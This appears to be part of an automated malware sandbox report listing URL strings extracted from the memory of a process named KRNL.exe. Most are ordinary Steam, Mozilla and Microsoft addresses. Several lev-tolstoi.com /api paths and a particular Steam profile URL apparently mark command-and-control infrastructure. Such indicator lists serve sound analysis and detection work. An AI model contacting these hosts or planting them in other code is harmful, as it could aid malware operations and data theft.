Source: KRNL.exe, 00000002.00000003.1690235008.00000000033C3000.00000004.00000020.00020000.00000000.sdmp, KRNL.exe, 00000002.00000003.1699605747.00000000033D4000.00000004.00000020.00020000.00000000.sdmp, KRNL.exe, 00000002.00000003.1690235008.00000000033CB000.00000004.00000020.00020000.00000000.sdmp, KRNL.exe, 00000002.00000003.1699633987.000000000333A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/javascript/applications/community/libraries~b28b7af6
Source: KRNL.exe, 00000002.00000003.1690235008.00000000033C3000.00000004.00000020.00020000.00000000.sdmp, KRNL.exe, 00000002.00000003.1699605747.00000000033D4000.00000004.00000020.00020000.00000000.sdmp, KRNL.exe, 00000002.00000003.1690235008.00000000033CB000.00000004.00000020.00020000.00000000.sdmp, KRNL.exe, 00000002.00000003.1699633987.000000000333A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/javascript/applications/community/main.js?v=_92TWn81
Source: KRNL.exe, 00000002.00000003.1690235008.00000000033C3000.00000004.00000020.00020000.00000000.sdmp, KRNL.exe, 00000002.00000003.1699605747.00000000033D4000.00000004.00000020.00020000.00000000.sdmp, KRNL.exe, 00000002.00000003.1690235008.00000000033CB000.00000004.00000020.00020000.00000000.sdmp, KRNL.exe, 00000002.00000003.1699633987.000000000333A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/javascript/applications/community/manifest.js?v=FRRi
Source: KRNL.exe, 00000002.00000003.1690235008.00000000033C3000.00000004.00000020.00020000.00000000.sdmp, KRNL.exe, 00000002.00000003.1699605747.00000000033D4000.00000004.00000020.00020000.00000000.sdmp, KRNL.exe, 00000002.00000003.1690235008.00000000033CB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/javascript/global.js?v=jWc2JLWHx5Kn&l=english&am
Source: KRNL.exe, 00000002.00000003.1690235008.00000000033C3000.00000004.00000020.00020000.00000000.sdmp, KRNL.exe, 00000002.00000003.1699605747.00000000033D4000.00000004.00000020.00020000.00000000.sdmp, KRNL.exe, 00000002.00000003.1690235008.00000000033CB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/javascript/jquery-1.11.1.min.js?v=gQHVlrK4-jX-&l
Source: KRNL.exe, 00000002.00000003.1690235008.00000000033C3000.00000004.00000020.00020000.00000000.sdmp, KRNL.exe, 00000002.00000003.1699605747.00000000033D4000.00000004.00000020.00020000.00000000.sdmp, KRNL.exe, 00000002.00000003.1690235008.00000000033CB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/javascript/modalContent.js?v=uqf5ttWTRe7l&l=engl
Source: KRNL.exe, 00000002.00000003.1690235008.00000000033C3000.00000004.00000020.00020000.00000000.sdmp, KRNL.exe, 00000002.00000003.1699605747.00000000033D4000.00000004.00000020.00020000.00000000.sdmp, KRNL.exe, 00000002.00000003.1690235008.00000000033CB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/javascript/modalv2.js?v=zBXEuexVQ0FZ&l=english&a
Source: KRNL.exe, 00000002.00000003.1690235008.00000000033C3000.00000004.00000020.00020000.00000000.sdmp, KRNL.exe, 00000002.00000003.1699605747.00000000033D4000.00000004.00000020.00020000.00000000.sdmp, KRNL.exe, 00000002.00000003.1690235008.00000000033CB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/javascript/profile.js?v=GeQ6v03mWpAc&l=english&a
Source: KRNL.exe, 00000002.00000003.1690235008.00000000033C3000.00000004.00000020.00020000.00000000.sdmp, KRNL.exe, 00000002.00000003.1699605747.00000000033D4000.00000004.00000020.00020000.00000000.sdmp, KRNL.exe, 00000002.00000003.1690235008.00000000033CB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/javascript/promo/stickers.js?v=CcLRHsa04otQ&l=en
Source: KRNL.exe, 00000002.00000003.1690235008.00000000033C3000.00000004.00000020.00020000.00000000.sdmp, KRNL.exe, 00000002.00000003.1699605747.00000000033D4000.00000004.00000020.00020000.00000000.sdmp, KRNL.exe, 00000002.00000003.1690235008.00000000033CB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/javascript/prototype-1.7.js?v=npJElBnrEO6W&l=eng
Source: KRNL.exe, 00000002.00000003.1690235008.00000000033C3000.00000004.00000020.00020000.00000000.sdmp, KRNL.exe, 00000002.00000003.1699605747.00000000033D4000.00000004.00000020.00020000.00000000.sdmp, KRNL.exe, 00000002.00000003.1690235008.00000000033CB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/javascript/reportedcontent.js?v=-lZqrarogJr8&l=e
Source: KRNL.exe, 00000002.00000003.1690235008.00000000033C3000.00000004.00000020.00020000.00000000.sdmp, KRNL.exe, 00000002.00000003.1699605747.00000000033D4000.00000004.00000020.00020000.00000000.sdmp, KRNL.exe, 00000002.00000003.1690235008.00000000033CB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/javascript/scriptaculous/_combined.js?v=pbdAKOcDIgbC
Source: KRNL.exe, 00000002.00000003.1690235008.00000000033C3000.00000004.00000020.00020000.00000000.sdmp, KRNL.exe, 00000002.00000003.1699605747.00000000033D4000.00000004.00000020.00020000.00000000.sdmp, KRNL.exe, 00000002.00000003.1690235008.00000000033CB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/javascript/webui/clientcom.js?v=oOCAGrkRfpQ6&l=e
Source: KRNL.exe, 00000002.00000003.1690235008.00000000033C3000.00000004.00000020.00020000.00000000.sdmp, KRNL.exe, 00000002.00000003.1699605747.00000000033D4000.00000004.00000020.00020000.00000000.sdmp, KRNL.exe, 00000002.00000003.1690235008.00000000033CB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/shared/css/buttons.css?v=qhQgyjWi6LgJ&l=english&
Source: KRNL.exe, 00000002.00000003.1690235008.00000000033CB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/shared/css/motiva_sans.css?v=-yZgCk0Nu7kH&l=engl
Source: KRNL.exe, 00000002.00000003.1690235008.00000000033C3000.00000004.00000020.00020000.00000000.sdmp, KRNL.exe, 00000002.00000003.1699605747.00000000033D4000.00000004.00000020.00020000.00000000.sdmp, KRNL.exe, 00000002.00000003.1690235008.00000000033CB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/shared/css/shared_global.css?v=wuA4X_n5-mo0&l=en
Source: KRNL.exe, 00000002.00000003.1690235008.00000000033C3000.00000004.00000020.00020000.00000000.sdmp, KRNL.exe, 00000002.00000003.1699605747.00000000033D4000.00000004.00000020.00020000.00000000.sdmp, KRNL.exe, 00000002.00000003.1690235008.00000000033CB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/shared/css/shared_responsive.css?v=JL1e4uQSrVGe&
Source: KRNL.exe, 00000002.00000003.1699605747.00000000033D4000.00000004.00000020.00020000.00000000.sdmp, KRNL.exe, 00000002.00000003.1690235008.00000000033CB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/shared/images/header/logo_steam.svg?t=962016
Source: KRNL.exe, 00000002.00000003.1699605747.00000000033D4000.00000004.00000020.00020000.00000000.sdmp, KRNL.exe, 00000002.00000003.1690235008.00000000033CB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/shared/images/responsive/header_logo.png
Source: KRNL.exe, 00000002.00000003.1699605747.00000000033D4000.00000004.00000020.00020000.00000000.sdmp, KRNL.exe, 00000002.00000003.1690235008.00000000033CB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/shared/images/responsive/header_menu_hamburger.png
Source: KRNL.exe, 00000002.00000003.1699605747.00000000033D4000.00000004.00000020.00020000.00000000.sdmp, KRNL.exe, 00000002.00000003.1690235008.00000000033CB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/shared/images/responsive/logo_valve_footer.png
Source: KRNL.exe, 00000002.00000003.1690235008.00000000033C3000.00000004.00000020.00020000.00000000.sdmp, KRNL.exe, 00000002.00000003.1699605747.00000000033D4000.00000004.00000020.00020000.00000000.sdmp, KRNL.exe, 00000002.00000003.1690235008.00000000033CB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/shared/javascript/auth_refresh.js?v=w6QbwI-5-j2S&amp
Source: KRNL.exe, 00000002.00000003.1690235008.00000000033C3000.00000004.00000020.00020000.00000000.sdmp, KRNL.exe, 00000002.00000003.1699605747.00000000033D4000.00000004.00000020.00020000.00000000.sdmp, KRNL.exe, 00000002.00000003.1690235008.00000000033CB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/shared/javascript/shared_global.js?v=Gr6TbGRvDtNE&am
Source: KRNL.exe, 00000002.00000003.1690235008.00000000033C3000.00000004.00000020.00020000.00000000.sdmp, KRNL.exe, 00000002.00000003.1699605747.00000000033D4000.00000004.00000020.00020000.00000000.sdmp, KRNL.exe, 00000002.00000003.1690235008.00000000033CB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/shared/javascript/shared_responsive_adapter.js?v=tvQ
Source: KRNL.exe, 00000002.00000003.1690235008.00000000033C3000.00000004.00000020.00020000.00000000.sdmp, KRNL.exe, 00000002.00000003.1699605747.00000000033D4000.00000004.00000020.00020000.00000000.sdmp, KRNL.exe, 00000002.00000003.1690235008.00000000033CB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/shared/javascript/tooltip.js?v=QYkT4eS5mbTN&l=en
Source: KRNL.exe, 00000002.00000003.1738159372.0000000005A44000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contile-images.services.mozilla.com/0TegrVVRalreHILhR2WvtD_CFzj13HCDcLqqpvXSOuY.10862.jpg
Source: KRNL.exe, 00000002.00000003.1738159372.0000000005A44000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contile-images.services.mozilla.com/obgoOYObjIFea_bXuT6L4LbBJ8j425AD87S1HMD3BWg.9991.jpg
Source: KRNL.exe, 00000002.00000003.1711060415.0000000005A8C000.00000004.00000800.00020000.00000000.sdmp, KRNL.exe, 00000002.00000003.1711461120.0000000005A89000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: KRNL.exe, 00000002.00000003.1711060415.0000000005A8C000.00000004.00000800.00020000.00000000.sdmp, KRNL.exe, 00000002.00000003.1711461120.0000000005A89000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/chrome_newtab
Source: KRNL.exe, 00000002.00000003.1711060415.0000000005A8C000.00000004.00000800.00020000.00000000.sdmp, KRNL.exe, 00000002.00000003.1711461120.0000000005A89000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: KRNL.exe, 00000002.00000003.1699717842.0000000003383000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://help.st
Source: KRNL.exe, 00000002.00000003.1690264373.000000000338C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://help.steampowered.com/
Source: KRNL.exe, 00000002.00000003.1699605747.00000000033D4000.00000004.00000020.00020000.00000000.sdmp, KRNL.exe, 00000002.00000003.1690235008.00000000033CB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://help.steampowered.com/en/
Source: KRNL.exe, 00000002.00000003.1738159372.0000000005A44000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4QqmfZfYfQfafZbXfpbWfpbX7ReNxR3UIG8zInwYIFIVs9eYi
Source: KRNL.exe, 00000002.00000002.2915949204.00000000033E4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://lev-tolstoi.com/
Source: KRNL.exe, 00000002.00000003.1976733332.00000000033E3000.00000004.00000020.00020000.00000000.sdmp, KRNL.exe, 00000002.00000002.2915949204.00000000033E4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://lev-tolstoi.com/6
Source: KRNL.exe, 00000002.00000003.1765217238.0000000003342000.00000004.00000020.00020000.00000000.sdmp, KRNL.exe, 00000002.00000003.1751947129.0000000003342000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://lev-tolstoi.com/?
Source: KRNL.exe, 00000002.00000003.1821721499.00000000033CF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://lev-tolstoi.com/GY
Source: KRNL.exe, 00000002.00000003.1821721499.00000000033EA000.00000004.00000020.00020000.00000000.sdmp, KRNL.exe, 00000002.00000003.1699717842.0000000003383000.00000004.00000020.00020000.00000000.sdmp, KRNL.exe, 00000002.00000003.1821721499.00000000033CF000.00000004.00000020.00020000.00000000.sdmp, KRNL.exe, 00000002.00000003.1749014529.0000000005A50000.00000004.00000800.00020000.00000000.sdmp, KRNL.exe, 00000002.00000003.1751935463.0000000005A54000.00000004.00000800.00020000.00000000.sdmp, KRNL.exe, 00000002.00000003.1749121760.0000000005A53000.00000004.00000800.00020000.00000000.sdmp, KRNL.exe, 00000002.00000003.1976367913.0000000003383000.00000004.00000020.00020000.00000000.sdmp, KRNL.exe, 00000002.00000003.1710350446.0000000003383000.00000004.00000020.00020000.00000000.sdmp, KRNL.exe, 00000002.00000003.1749066035.0000000005A50000.00000004.00000800.00020000.00000000.sdmp, KRNL.exe, 00000002.00000003.1976693796.000000000338B000.00000004.00000020.00020000.00000000.sdmp, KRNL.exe, 00000002.00000003.1710350446.0000000003342000.00000004.00000020.00020000.00000000.sdmp, KRNL.exe, 00000002.00000003.1699633987.0000000003366000.00000004.00000020.00020000.00000000.sdmp, KRNL.exe, 00000002.00000002.2915873605.000000000338C000.00000004.00000020.00020000.00000000.sdmp, KRNL.exe, 00000002.00000003.1976733332.00000000033E3000.00000004.00000020.00020000.00000000.sdmp, KRNL.exe, 00000002.00000002.2915949204.00000000033E4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://lev-tolstoi.com/api
Source: KRNL.exe, 00000002.00000003.1699717842.0000000003383000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://lev-tolstoi.com/api1
Source: KRNL.exe, 00000002.00000003.1765127023.00000000033CF000.00000004.00000020.00020000.00000000.sdmp, KRNL.exe, 00000002.00000003.1821721499.00000000033CF000.00000004.00000020.00020000.00000000.sdmp, KRNL.exe, 00000002.00000003.1976733332.00000000033E3000.00000004.00000020.00020000.00000000.sdmp, KRNL.exe, 00000002.00000002.2915949204.00000000033E4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://lev-tolstoi.com/apiS
Source: KRNL.exe, 00000002.00000003.1976733332.00000000033E3000.00000004.00000020.00020000.00000000.sdmp, KRNL.exe, 00000002.00000002.2915949204.00000000033E4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://lev-tolstoi.com/apim
Source: KRNL.exe, 00000002.00000003.1751845531.00000000033EA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://lev-tolstoi.com/apiul
Source: KRNL.exe, 00000002.00000003.1765127023.00000000033CF000.00000004.00000020.00020000.00000000.sdmp, KRNL.exe, 00000002.00000003.1821721499.00000000033CF000.00000004.00000020.00020000.00000000.sdmp, KRNL.exe, 00000002.00000003.1976733332.00000000033E3000.00000004.00000020.00020000.00000000.sdmp, KRNL.exe, 00000002.00000002.2915949204.00000000033E4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://lev-tolstoi.com/k
Source: KRNL.exe, 00000002.00000003.1699633987.0000000003342000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://lev-tolstoi.com/m/S
Source: KRNL.exe, 00000002.00000003.1699633987.0000000003342000.00000004.00000020.00020000.00000000.sdmp, KRNL.exe, 00000002.00000003.1710350446.0000000003342000.00000004.00000020.00020000.00000000.sdmp, KRNL.exe, 00000002.00000003.1976733332.00000000033E3000.00000004.00000020.00020000.00000000.sdmp, KRNL.exe, 00000002.00000002.2915949204.00000000033E4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://lev-tolstoi.com/pi
Source: KRNL.exe, 00000002.00000003.1765127023.00000000033CF000.00000004.00000020.00020000.00000000.sdmp, KRNL.exe, 00000002.00000003.1821721499.00000000033CF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://lev-tolstoi.com/pi#
Source: KRNL.exe, 00000002.00000003.1765127023.00000000033CF000.00000004.00000020.00020000.00000000.sdmp, KRNL.exe, 00000002.00000003.1821721499.00000000033CF000.00000004.00000020.00020000.00000000.sdmp, KRNL.exe, 00000002.00000003.1751845531.00000000033CD000.00000004.00000020.00020000.00000000.sdmp, KRNL.exe, 00000002.00000003.1976733332.00000000033E3000.00000004.00000020.00020000.00000000.sdmp, KRNL.exe, 00000002.00000002.2915949204.00000000033E4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://lev-tolstoi.com/s
Source: KRNL.exe, 00000002.00000003.1699717842.0000000003383000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.steampK
Source: KRNL.exe, 00000002.00000003.1690264373.000000000338C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.steampowered.com/
Source: KRNL.exe, 00000002.00000003.1690235008.00000000033C3000.00000004.00000020.00020000.00000000.sdmp, KRNL.exe, 00000002.00000003.1710350446.0000000003383000.00000004.00000020.00020000.00000000.sdmp, KRNL.exe, 00000002.00000003.1690264373.000000000338C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://lv.queniujq.cn
Source: KRNL.exe, 00000002.00000003.1690235008.00000000033C3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://medal.tv
Source: KRNL.exe, 00000002.00000003.1690235008.00000000033C3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://player.vimeo.com
Source: KRNL.exe, 00000002.00000003.1690235008.00000000033C3000.00000004.00000020.00020000.00000000.sdmp, KRNL.exe, 00000002.00000003.1710350446.0000000003383000.00000004.00000020.00020000.00000000.sdmp, KRNL.exe, 00000002.00000003.1690264373.000000000338C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://recaptcha.net
Source: KRNL.exe, 00000002.00000003.1690235008.00000000033C3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://recaptcha.net/recaptcha/;
Source: KRNL.exe, 00000002.00000003.1690235008.00000000033C3000.00000004.00000020.00020000.00000000.sdmp, KRNL.exe, 00000002.00000003.1710350446.0000000003383000.00000004.00000020.00020000.00000000.sdmp, KRNL.exe, 00000002.00000003.1690264373.000000000338C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://s.ytimg.com;
Source: KRNL.exe, 00000002.00000003.1690235008.00000000033C3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://sketchfab.com
Source: KRNL.exe, 00000002.00000003.1690235008.00000000033C3000.00000004.00000020.00020000.00000000.sdmp, KRNL.exe, 00000002.00000003.1710350446.0000000003383000.00000004.00000020.00020000.00000000.sdmp, KRNL.exe, 00000002.00000003.1690264373.000000000338C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steam.tv/
Source: KRNL.exe, 00000002.00000003.1710350446.0000000003383000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steambroadcast-test.ah
Source: KRNL.exe, 00000002.00000003.1690235008.00000000033C3000.00000004.00000020.00020000.00000000.sdmp, KRNL.exe, 00000002.00000003.1690264373.000000000338C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steambroadcast-test.akamaized.net
Source: KRNL.exe, 00000002.00000003.1699717842.0000000003383000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steambroadcast-test.akamaizedk
Source: KRNL.exe, 00000002.00000003.1690235008.00000000033C3000.00000004.00000020.00020000.00000000.sdmp, KRNL.exe, 00000002.00000003.1710350446.0000000003383000.00000004.00000020.00020000.00000000.sdmp, KRNL.exe, 00000002.00000003.1690264373.000000000338C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steambroadcast.akamaized.net
Source: KRNL.exe, 00000002.00000003.1690235008.00000000033C3000.00000004.00000020.00020000.00000000.sdmp, KRNL.exe, 00000002.00000003.1710350446.0000000003383000.00000004.00000020.00020000.00000000.sdmp, KRNL.exe, 00000002.00000003.1690264373.000000000338C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steambroadcastchat.akamaized.net
Source: KRNL.exe, 00000002.00000003.1690235008.00000000033CB000.00000004.00000020.00020000.00000000.sdmp, KRNL.exe, 00000002.00000003.1690264373.000000000338C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/
Source: KRNL.exe, 00000002.00000003.1699605747.00000000033D4000.00000004.00000020.00020000.00000000.sdmp, KRNL.exe, 00000002.00000003.1690235008.00000000033CB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/?subsection=broadcasts
Source: KRNL.exe, 00000002.00000003.1699605747.00000000033D4000.00000004.00000020.00020000.00000000.sdmp, KRNL.exe, 00000002.00000003.1690235008.00000000033CB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/discussions/
Source: KRNL.exe, 00000002.00000003.1690235008.00000000033C3000.00000004.00000020.00020000.00000000.sdmp, KRNL.exe, 00000002.00000003.1699605747.00000000033D4000.00000004.00000020.00020000.00000000.sdmp, KRNL.exe, 00000002.00000003.1690235008.00000000033CB000.00000004.00000020.00020000.00000000.sdmp, KRNL.exe, 00000002.00000003.1710324005.00000000033DD000.00000004.00000020.00020000.00000000.sdmp, KRNL.exe, 00000002.00000003.1699633987.000000000333A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/linkfilter/?u=http%3A%2F%2Fwww.geonames.org
Source: KRNL.exe, 00000002.00000003.1690235008.00000000033CB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/login/home/?goto=profiles%2F76561199724331900
Source: KRNL.exe, 00000002.00000003.1699605747.00000000033D4000.00000004.00000020.00020000.00000000.sdmp, KRNL.exe, 00000002.00000003.1690235008.00000000033CB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/market/
Source: KRNL.exe, 00000002.00000003.1699605747.00000000033D4000.00000004.00000020.00020000.00000000.sdmp, KRNL.exe, 00000002.00000003.1690235008.00000000033CB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/my/wishlist/
Source: KRNL.exe, 00000002.00000003.1690235008.00000000033C3000.00000004.00000020.00020000.00000000.sdmp, KRNL.exe, 00000002.00000003.1699605747.00000000033D4000.00000004.00000020.00020000.00000000.sdmp, KRNL.exe, 00000002.00000003.1690235008.00000000033CB000.00000004.00000020.00020000.00000000.sdmp, KRNL.exe, 00000002.00000003.1699633987.000000000333A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/profiles/76561199724331900/badges
Source: KRNL.exe, 00000002.00000003.1690235008.00000000033C3000.00000004.00000020.00020000.00000000.sdmp, KRNL.exe, 00000002.00000003.1699605747.00000000033D4000.00000004.00000020.00020000.00000000.sdmp, KRNL.exe, 00000002.00000003.1690235008.00000000033CB000.00000004.00000020.00020000.00000000.sdmp, KRNL.exe, 00000002.00000003.1699633987.000000000333A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/profiles/76561199724331900/inventory/
Source: KRNL.exe, 00000002.00000003.1699605747.00000000033D4000.00000004.00000020.00020000.00000000.sdmp, KRNL.exe, 00000002.00000003.1690235008.00000000033CB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/workshop/
Source: KRNL.exe, 00000002.00000003.1690264373.000000000338C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/
Source: KRNL.exe, 00000002.00000003.1690235008.00000000033C3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/;
Source: KRNL.exe, 00000002.00000003.1690235008.00000000033C3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/;Persistent-AuthWWW-AuthenticateVarysteamCountry=US%7C185ce35c568ebbb
Source: KRNL.exe, 00000002.00000003.1690235008.00000000033CB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/about/
Source: KRNL.exe, 00000002.00000003.1699605747.00000000033D4000.00000004.00000020.00020000.00000000.sdmp, KRNL.exe, 00000002.00000003.1690235008.00000000033CB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/explore/
Source: KRNL.exe, 00000002.00000003.1690235008.00000000033C3000.00000004.00000020.00020000.00000000.sdmp, KRNL.exe, 00000002.00000003.1699605747.00000000033D4000.00000004.00000020.00020000.00000000.sdmp, KRNL.exe, 00000002.00000003.1690235008.00000000033CB000.00000004.00000020.00020000.00000000.sdmp, KRNL.exe, 00000002.00000003.1710324005.00000000033DD000.00000004.00000020.00020000.00000000.sdmp, KRNL.exe, 00000002.00000003.1699633987.000000000333A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/legal/
Source: KRNL.exe, 00000002.00000003.1699605747.00000000033D4000.00000004.00000020.00020000.00000000.sdmp, KRNL.exe, 00000002.00000003.1690235008.00000000033CB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/mobile
Source: KRNL.exe, 00000002.00000003.1699605747.00000000033D4000.00000004.00000020.00020000.00000000.sdmp, KRNL.exe, 00000002.00000003.1690235008.00000000033CB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/news/
Source: KRNL.exe, 00000002.00000003.1699605747.00000000033D4000.00000004.00000020.00020000.00000000.sdmp, KRNL.exe, 00000002.00000003.1690235008.00000000033CB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/points/shop/
Source: KRNL.exe, 00000002.00000003.1699605747.00000000033D4000.00000004.00000020.00020000.00000000.sdmp, KRNL.exe, 00000002.00000003.1690235008.00000000033CB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/privacy_agreement/
Source: KRNL.exe, 00000002.00000003.1699605747.00000000033D4000.00000004.00000020.00020000.00000000.sdmp, KRNL.exe, 00000002.00000003.1690235008.00000000033CB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/stats/
Source: KRNL.exe, 00000002.00000003.1699605747.00000000033D4000.00000004.00000020.00020000.00000000.sdmp, KRNL.exe, 00000002.00000003.1690235008.00000000033CB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/steam_refunds/
Source: KRNL.exe, 00000002.00000003.1699605747.00000000033D4000.00000004.00000020.00020000.00000000.sdmp, KRNL.exe, 00000002.00000003.1690235008.00000000033CB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/subscriber_agreement/
Source: KRNL.exe, 00000002.00000003.1712083330.0000000005AA1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.microsof
Source: KRNL.exe, 00000002.00000003.1737899780.0000000005B5F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br
Source: KRNL.exe, 00000002.00000003.1737899780.0000000005B5F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/products/firefoxgro.all
Source: KRNL.exe, 00000002.00000003.1723581632.0000000005A98000.00000004.00000800.00020000.00000000.sdmp, KRNL.exe, 00000002.00000003.1712083330.0000000005A9F000.00000004.00000800.00020000.00000000.sdmp, KRNL.exe, 00000002.00000003.1712222118.0000000005A98000.00000004.00000800.00020000.00000000.sdmp, KRNL.exe, 00000002.00000003.1723494603.0000000005A98000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016
Source: KRNL.exe, 00000002.00000003.1712222118.0000000005A73000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016Examples
Source: KRNL.exe, 00000002.00000003.1723581632.0000000005A98000.00000004.00000800.00020000.00000000.sdmp, KRNL.exe, 00000002.00000003.1712083330.0000000005A9F000.00000004.00000800.00020000.00000000.sdmp, KRNL.exe, 00000002.00000003.1712222118.0000000005A98000.00000004.00000800.00020000.00000000.sdmp, KRNL.exe, 00000002.00000003.1723494603.0000000005A98000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17
